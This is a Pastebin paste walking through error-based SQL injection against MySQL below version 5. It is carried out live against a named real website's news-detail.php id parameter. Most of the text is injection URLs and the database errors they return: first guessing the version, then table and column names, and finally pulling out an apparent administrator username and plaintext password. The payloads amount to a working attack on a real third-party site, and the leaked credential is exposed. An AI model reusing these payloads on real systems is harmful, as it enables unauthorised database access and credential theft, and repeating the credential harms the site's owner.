Advertisement
Kyfx

SQL INJECTION WHERE THE VERSION IS LESS THAN 5..

Jun 2nd, 2015
840
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 4.05 KB | None | 0 0
  1. SQL INJECTION WHERE THE VERSION IS LESS THAN 5.
  2.  
  3. Getting Version
  4.  
  5. Now,lets check the version with error based query.
  6.  
  7. +or+1+group+by+concat_ws(0x7e,version (),floor(rand(0)*2))+having+min(0)+or+1�
  8.  
  9. Version : Duplicate entry �4.1.22-standard~1' for key 1
  10.  
  11.  
  12. Getting Tables
  13.  
  14. This site don�t have information_schema. The version is less than 5. We have to guess the table names.
  15.  
  16. This should be our syntax to guess the tables.
  17.  
  18. or+1+group+by+concat_ws(0x7e,(select+1+from+Guess_table+limit+0,1),floor(rand(0)?*2))+having+min(0)+or+1�
  19.  
  20. Now he we have to guess table name with this syntax. Some tables that usually contains login data :
  21.  
  22. admin
  23. amdinstator
  24. tbl_admin
  25. tbl_adminstator
  26. login
  27. member
  28. user
  29. users
  30. table_users
  31. settings
  32.  
  33. Now i�m trying to guess table name with the syntax.
  34.  
  35. http://www.ultimatehomedesign.com/news-detail.php?id=312+or+1+group+by+concat_ws(0x7e,(select+1+from+admin+limit+0,1),floor(rand(0)*2))+having+min(0)+or+1�
  36.  
  37. I tried to guess admin table. There is no table in the database named
  38. admin.
  39.  
  40. So error came up :
  41.  
  42. Table �uhd.admin� doesn�t exist
  43.  
  44. Lets try to guess another table.
  45.  
  46. http://www.ultimatehomedesign.com/news-detail.php?id=312+or+1+group+by+concat_ws(0x7e,(select+1+from+adminstator+limit+0,1),floor(rand(0)*2))+having+min(0)+or+1�
  47.  
  48. Again error came up. There is no table in the database named adminstator
  49.  
  50. So error came up :
  51.  
  52. Table �uhd.adminstator� doesn�t exist
  53.  
  54. Lets try with another table :
  55.  
  56. http://www.ultimatehomedesign.com/news-detail.php?id=312+or+1+group+by+concat_ws(0x7e,(select+1+from+users+limit+0,1),floor(rand(0)*2))+having+min(0)+or+1�
  57.  
  58. So users table exists.
  59.  
  60. No error came up :
  61.  
  62. Duplicate entry �1~1' for key 1
  63.  
  64. Getting Columns
  65.  
  66. Now,we have to guess column name. So syntax to get columns should be like this :
  67.  
  68. +or+1+group+by+concat_ws(0x7e,(select+column_name+from+table_name+limit+0,1),floo?r(rand(0)*2))+having+min(0)+or+1�
  69.  
  70. Username is the most common table. Lets try with it.
  71.  
  72. http://www.ultimatehomedesign.com/news-detail.php?id=309+or+1+group+by+concat_ws(0x7e,(select+username+from+users+limit+0,1),floor(rand(0)*2))+having+min(0)+or+1�
  73.  
  74. Error came up. The column doesn�t exist :(
  75.  
  76. Unknown column �username� in �field list�
  77.  
  78. Lets try to guess another column user_name.
  79.  
  80. http://www.ultimatehomedesign.com/news-detail.php?id=309+or+1+group+by+concat_ws(0x7e,(select+user_name+from+users+limit+0,1),floor(rand(0)*2))+having+min(0)+or+1�
  81.  
  82. Now the site loads good. That means user_name exists.
  83.  
  84. Now try to guess the password column. Lets try with user_pass.
  85.  
  86. http://www.ultimatehomedesign.com/news-detail.php?id=309+or+1+group+by+concat_ws(0x7e,(select+user_pass+from+users+limit+0,1),floor(rand(0)*2))+having+min(0)+or+1�
  87.  
  88. Extracting data from columns
  89.  
  90. To get data from columns,our syntax should be this :
  91.  
  92. or+1+group+by+concat_ws(0x7e,(select+concat(column_name,0x7e,column_name)+from+table_name+limit+0,1),floor(rand(0)*2))+having+min(0)+or+1�
  93.  
  94. Some times, this query don�t works,as this query don�t works on this site. We have to use substring.
  95. Getting Username
  96.  
  97. :
  98.  
  99. http://www.ultimatehomedesign.com/news-detail.php?id=309+and+(select+1+from+(select+count(*),concat((select(select+concat(cast(concat(substring(user_name,1,25))+as+char),0x7e))+from+users+limit+0,1),floor(rand(0)*2))x+from+users+group+by+x)a)
  100.  
  101. With this subtrinquery function we can combine a complex question. This query attempts to retrieve the name database of a database table. One character at a time. The substing function will return the first character of query�s result
  102.  
  103. The username cames up in the query :
  104.  
  105. Duplicate entry �root~1' for key 1
  106.  
  107. Getting Password
  108.  
  109. :
  110.  
  111. http://www.ultimatehomedesign.com/news-detail.php?id=309+and+(select+1+from+(select+count(*),concat((select(select+concat(cast(concat(substring(user_pass,1,25))+as+char),0x7e))+from+users+limit+0,1),floor(rand(0)*2))x+from+users+group+by+x)a)
  112.  
  113. Password came up :
  114.  
  115. Duplicate entry �trump123~1' for key 1
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement